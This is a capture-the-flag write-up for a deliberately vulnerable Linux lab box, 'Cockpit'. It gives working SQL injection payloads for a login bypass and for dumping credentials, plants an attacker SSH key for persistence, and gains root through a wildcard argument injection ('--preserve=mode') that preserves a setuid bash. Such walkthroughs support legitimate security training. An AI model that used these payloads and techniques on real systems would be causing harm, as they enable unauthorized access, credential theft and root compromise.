# Cockpit Writeup - Proving Grounds

> Intermediate Linux box exploiting a UNION-based SQL injection to dump credentials, reused against the Cockpit panel on port 9090 for a shell as james, then abusing a wildcard cp bug in a custom SUID binary to copy a setuid bash and gain root.

- **URL:** https://hackindex.io/writeups/cockpit
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** sql-injection, authentication-bypass, reverse-engineering, cockpit, privilege-escalation, suid, sudo-misconfiguration, wildcard-injection
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-06

In this guide we manually exploit a SQL injection in a login form to dump a set of credentials, then reuse them against the Cockpit admin panel on port 9090 to land a session as `james`. Write access to that user's filesystem lets us drop an SSH key for a stable shell. For root we analyze a custom SUID ELF, `Authchecker`, find a wildcard bug in its `cp` call, and copy a setuid bash into a protected directory.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE     VERSION
# 22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
# 80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
# |_http-title: blaze
# |_http-server-header: Apache/2.4.41 (Ubuntu)
# 9090/tcp open  ssl/zeus-admin?
# | ssl-cert: Subject: commonName=blaze
# |_  Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
```

SSH on 22, Apache on 80, and an SSL admin service on 9090. The 9090 certificate common name `blaze` and the `zeus-admin` fingerprint point to Cockpit, the Linux web admin panel. Port 80 serves a static landing page, so fuzz it for content.

## Enumeration

### Content discovery

Fuzz for PHP endpoints on port 80.

```bash
ffuf -w /opt/seclists/Discovery/Web-Content/raft-small-words.txt -u http://$TARGET_IP/FUZZ.php --fc 403
# logout                   [Status: 302, Size: 0, Words: 1, Lines: 1]
# home                     [Status: 200, Size: 714, Words: 70, Lines: 36]
# login                    [Status: 200, Size: 769, Words: 69, Lines: 29]
# db_config                [Status: 200, Size: 0, Words: 1, Lines: 1]
```

`login.php` is the way in. The page is a standard username and password form.

## Exploitation

### SQL injection

Entering the username `admin'-- -` comments out the password check and bypasses the login, landing on the admin dashboard. That confirms a SQL injection.

The login is injectable through the `username` parameter, so switch to a UNION-based dump with Burp Repeater. Start by finding the column count, then walk the schema.

```sql
-- 5 columns, reflect @@version
username=' union select 1,@@version,3,4,5-- -&password=dada

-- list databases
username=' union select 1,schema_name,3,4,5 from information_schema.schemata-- -&password=dada

-- tables in blazeDB
username=' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='blazeDB'-- -&password=dada

-- columns in users
username=' union select 1,column_name,3,4,5 from information_schema.columns where table_name='users'-- -&password=dada

-- dump credentials
username=' union select 1,group_concat(username,0x3a,password,0x3a,name),3,4,5 from users-- -&password=dada
```

The `blazeDB` database holds a `users` table with `username`, `password`, and `name` columns. The final query returns two accounts sharing one password.

- admin: `$ADMIN_PASSWORD`
- james: `$JAMES_PASSWORD`

### Cockpit foothold

SSH is configured for key authentication only, so the password is no use there. Reuse it against Cockpit on port 9090 instead, which accepts `james` and the recovered password and opens a session.

Cockpit includes a web terminal, giving a shell as `james`. Drop an SSH public key to get a stable session.

```bash
mkdir .ssh
cd .ssh/
echo 'ssh-rsa AAAA...<attacker public key> attacker@kali' > authorized_keys
chmod 600 authorized_keys
chmod 700 ../.ssh/
```

With the key in place, log in over SSH as `james`.

## Privilege Escalation

List the sudo rights.

```bash
sudo -l
# Matching Defaults entries for james on blaze:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
#
# User james may run the following commands on blaze:
#     (ALL) NOPASSWD: /usr/local/bin/Authchecker
```

`james` can run the custom ELF `Authchecker` as root. Copy it back and decompile it in Ghidra. A function named `copy_keys` runs `cp` with a wildcard, which is exploitable.

A wildcard in `cp` lets filenames double as arguments. Create a file named `--preserve=mode` alongside a setuid-marked bash, so `cp` preserves the setuid bit when it copies bash into the protected directory.

```bash
cp /bin/bash .
chmod 4777 bash
touch -- --preserve=mode
sudo /usr/local/bin/Authchecker
# Dear employees, this is an authenticator for blaze login as root, please drop your public key under the current directory
# written to /etc/key_check/public_key, we will let you know soon your authentication status to blaze
```

`Authchecker` copies the current directory into `/etc/key_check/` with a wildcard, and the `--preserve=mode` filename forces it to keep the setuid bit on bash.

```bash
/etc/key_check/bash -p
# bash-5.0# id
# uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james)
```

The preserved setuid bash runs as root, giving a root shell.

Related

## References

- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - Wildcard argument injection in archive and copy utilities.
- [Cockpit](https://cockpit-project.org/) - The Linux web admin panel exposed on port 9090.
